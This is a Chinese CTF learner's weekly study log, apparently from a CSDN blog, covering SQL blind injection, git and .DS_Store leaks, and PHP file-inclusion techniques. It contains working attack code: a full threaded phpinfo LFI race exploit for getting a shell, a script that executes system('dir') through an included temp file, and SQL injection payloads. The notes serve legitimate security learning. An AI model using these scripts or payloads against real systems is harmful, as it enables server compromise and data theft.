• 2023 10月8日 至 10 月16日学习总结


    1.做的题目

    [RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客

    [NCTF2019]SQLi regexp 盲注-CSDN博客

    [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客

    PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

    [NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客

    Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客

    2.知识点

    参数爆破

    首先就是对网站进行基本的信息收集 但是备份,扫描,抓包

    都没有效果的时候可以进行参数爆破

    通过工具 arjun可以爆破

    1. arjun -u url -m GET -c 100 -d 5
    2. 这里是通过慢速 来实现爆破 100个一组 延迟时间为 5

    SQL正则盲注  regexp

    sql题一般我先进行fuzz 然后进行测试注入

    这里给出一个知识点

    转义符 \ 构造闭合

    1. select * from username = '\' and password = '';
    2. 这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上
    3. 这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'
    4. select * from username = '\' and password = '#'
    5. 这个时候 字符串 ' and password 就被外面两个 ' 闭合了
    6. 所以我们构造 ||1 就可以变为
    7. '\' and password = '||1#'
    8. 这里大家直接去phpmyadmin尝试即可

    绕过空格

    /**/ 或者 %09

    都可以

    正则盲注

    这里放出了正则和 ^

    原理是

    1. 假设我的表名为admin
    2. select * from username = '\' and password = ' || password regexp "^a"
    3. 后面的 "^a" 是开头为 a 的就返回 true 所以我们可以进行盲注

    这里还需要00截断后面的引号

    但是我们盲注需要通过python 所以这里也介绍一下python的库

    python库

    1. 首先是 string
    2. 这里我们就不需要指定 37-128
    3. 直接通过这个库就可以将可打印的字符输出

    然后就是-00截断的库

    1. from urllib import parse
    2. 这个库是url编码
    3. a = parse.unquote('%00')
    4. 这里就是post的url编码后的00截断

    GIT泄露

    首先通过扫描可以发现存在git泄露

    然后通过工具实现

    https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator

    然后发现存在的代码是出错的

    这里就可以通过 .git文件来恢复数据

    GIT数据恢复

    1. 首先查看日志
    2. git log -all
    3. 然后通过指定就可以恢复成以前的代码
    4. git reset --hard 字符

    二次注入的危险函数

    addslashes 将输入转变为字符串 原封不动存入数据库

    这里的注入闭合 文章里面写的比较详细了 大家去看就可以了

    任意文件读取

    做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好

    1. /proc/self/environ
    2. /proc/self/cmdline
    3. /etc/passwd 查看存在的用户
    4. /home/用户/.bash_history 查看该用户的历史命令

     .DS_Store泄露

    获取内容了 因为 .DS_Store 存在很多不可见字符

    所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出

    然后通过工具Python-dsstore-master

    来解密获取

    PHP LFI getshell

    这里确实学到了很多东西

    这里的前提都是存在文件包含

    存在phpinfo()

    如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马

    这个时候我们上传的临时文件就会保存在 临时文件目录下

    并且通过linux和win的命名规则存储

    我们只需要去包含 就会生成木马

    这里只需要通过条件竞争即可

    1. #!/usr/bin/python3
    2. import sys
    3. import threading
    4. import socket
    5. def setup(host, port):
    6. TAG = "安全测试"
    7. PAYLOAD = """%s\r
    8. ')?>\r""" % TAG
    9. REQ1_DATA = """-----------------------------7dbff1ded0714\r
    10. Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
    11. Content-Type: text/plain\r
    12. \r
    13. %s
    14. -----------------------------7dbff1ded0714--\r""" % PAYLOAD
    15. padding = "A" * 5000
    16. REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
    17. Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
    18. HTTP_ACCEPT: """ + padding + """\r
    19. HTTP_USER_AGENT: """ + padding + """\r
    20. HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
    21. HTTP_PRAGMA: """ + padding + """\r
    22. Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
    23. Content-Length: %s\r
    24. Host: %s\r
    25. \r
    26. %s""" % (len(REQ1_DATA), host, REQ1_DATA)
    27. # modify this to suit the LFI script
    28. LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
    29. User-Agent: Mozilla/4.0\r
    30. Proxy-Connection: Keep-Alive\r
    31. Host: %s\r
    32. \r
    33. \r
    34. """
    35. return (REQ1, TAG, LFIREQ)
    36. def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    37. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    38. s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    39. s.connect((host, port))
    40. s2.connect((host, port))
    41. s.send(phpinforeq.encode())
    42. d = b""
    43. while len(d) < offset:
    44. d += s.recv(offset)
    45. try:
    46. i = d.index(b"[tmp_name] => ")
    47. fn = d[i + 17:i + 31]
    48. except ValueError:
    49. return None
    50. s2.send((lfireq % (fn.decode(), host)).encode())
    51. d = s2.recv(4096)
    52. s.close()
    53. s2.close()
    54. if d.find(tag.encode()) != -1:
    55. return fn.decode()
    56. counter = 0
    57. class ThreadWorker(threading.Thread):
    58. def __init__(self, e, l, m, *args):
    59. threading.Thread.__init__(self)
    60. self.event = e
    61. self.lock = l
    62. self.maxattempts = m
    63. self.args = args
    64. def run(self):
    65. global counter
    66. while not self.event.is_set():
    67. with self.lock:
    68. if counter >= self.maxattempts:
    69. return
    70. counter += 1
    71. try:
    72. x = phpInfoLFI(*self.args)
    73. if self.event.is_set():
    74. break
    75. if x:
    76. print("\n成功!Shell已创建在 /tmp/shell")
    77. self.event.set()
    78. except socket.error:
    79. return
    80. def getOffset(host, port, phpinforeq):
    81. """获取php输出中tmp_name的偏移量"""
    82. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    83. s.connect((host, port))
    84. s.send(phpinforeq.encode())
    85. d = b""
    86. while True:
    87. i = s.recv(4096)
    88. d += i
    89. if i == b"":
    90. break
    91. # detect the final chunk
    92. if i.endswith(b"0\r\n\r\n"):
    93. break
    94. s.close()
    95. i = d.find(b"[tmp_name] => ")
    96. if i == -1:
    97. raise ValueError("在phpinfo输出中未找到php tmp_name")
    98. print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))
    99. # 加一些填充
    100. return i + 256
    101. def main():
    102. print("LFI With PHPInfo()")
    103. print("-=" * 30)
    104. if len(sys.argv) < 2:
    105. print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])
    106. sys.exit(1)
    107. try:
    108. host = socket.gethostbyname(sys.argv[1])
    109. except socket.error as e:
    110. print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
    111. host = socket.gethostbyname(sys.argv[1])
    112. except socket.error as e:
    113. print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
    114. sys.exit(1)
    115. port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    116. numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
    117. phpinforeq, tag, lfireq = setup(host, port)
    118. offset = getOffset(host, port, phpinforeq)
    119. print("\n[*] 开始进行LFI攻击...")
    120. threads = []
    121. e = threading.Event()
    122. l = threading.Lock()
    123. try:
    124. for i in range(numthreads):
    125. t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)
    126. threads.append(t)
    127. t.start()
    128. while not e.is_set():
    129. try:
    130. e.wait(1)
    131. except KeyboardInterrupt:
    132. print("\n[*] 收到中断信号,正在停止攻击...")
    133. e.set()
    134. except socket.error as e:
    135. print("连接错误:%s" % str(e))
    136. for t in threads:
    137. t.join()
    138. print("\n[*] 攻击结束。")
    139. if __name__ == "__main__":
    140. main()

    大家还是读读上面代码 也能学到内容

    PHP7 Segment Falut

    首先是 php7 的一个漏洞

    1. 通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除
    2. php://filter/sring.strip_tags
    存在dir类型的页面

    我们只需要去包含里面的漏洞文件即可

    不存在dir类型页面

    通过爆破实现即可

    下面是存在dir页面的时候的脚本

    1. # -*- coding: utf-8 -*-
    2. import re
    3. import requests
    4. from io import BytesIO
    5. # 定义漏洞URL和文件路径
    6. vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
    7. url2 = "http://localhost/dir.php"
    8. # 构建文件
    9. files = {'file': BytesIO('')}
    10. # 发送漏洞利用请求
    11. req = requests.post(url=vul_url, files=files, allow_redirects=False)
    12. req2 = requests.get(url=url2)
    13. # 获取临时文件名
    14. content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)
    15. # 构建获取目录列表的URL
    16. url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)
    17. # 构建命令
    18. data = {
    19. 1: "system('dir');"
    20. }
    21. # 发送获取目录列表的请求
    22. req3 = requests.post(url=url3, data=data)
    23. # 输出结果
    24. print u"目录列表:\n{}".format(req3.text)

    SESSION LIF getshell

    HAVE SESSION

    一样 需要存在文件包含漏洞

    这里是通过session 用户会话getshell

    首先我们发送存在session的包的时候 会在session存储位置保存着session文件

    取名是为 sess_输入

    Cookie: PHPSESSID=输入

    一般处理会话 要么是通过 原始输入 要么就是通过序列化输入

    如果不对用户会话文件进行处理 那么我们只需要写入一句话即可

    如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可

    记住要过滤掉特殊字符

    NO SESSION

    当session没有开启的时候

    我们可以通过php的特性 文件上传的时候

    传递

    1. session.upload_progress.name: phpinfo();?>
    2. 这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件

     这里的流程图为

    文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容

    这里去看原本的文章更加详细

    SQL过滤许多的盲注

    这道题确实过滤了巨多东西

    这里的知识点

    方法一

    1. select substr('flag',1)---->flag
    2. select substr('flag',2)---->lag
    3. 然后我们只需要两次substr 并且倒装输出即可
    4. select reverse(substr('flag',1)) ---->galf
    5. select substr(reverse(substr('flag',1)),4)----->f
    6. select substr(reverse(substr('flag',1)),3)----->fl

    然后盲注过滤了 = 号  我们可以通过 <> 不等号实现

    1. 1 <> 1 返回false
    2. 1 <> 2 返回 true

    因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可

    方法二

    通过 减去 来实现

    a'or((ascii(substr((select(password))from(1)))-48))--
    

    这里也是因为 过滤了 = 号

    这里也推荐大家去看上面文章 写的详细 这里只是简单的记录

    3.不足

    这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到

    4.下一周计划

    专心准备比赛

  • 相关阅读:
    Cypress 前端 E2E 测试——手把手入门教程
    SSD主控
    基于SpringbootShiro实现的CAS单点登录
    java计算机毕业设计学生勤工助学管理系统源程序+mysql+系统+lw文档+远程调试
    java中常量池
    电机开源驱动器基本操作与实现
    【背包问题】第十二届蓝桥杯省赛第一场C++ A组/B组/研究生组《砝码称重》(c++)
    TCP/IP网络协议详解
    【C++】string类 _模拟实现 _源码[复习专用]
    手机投屏到笔记本电脑小方法
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133957424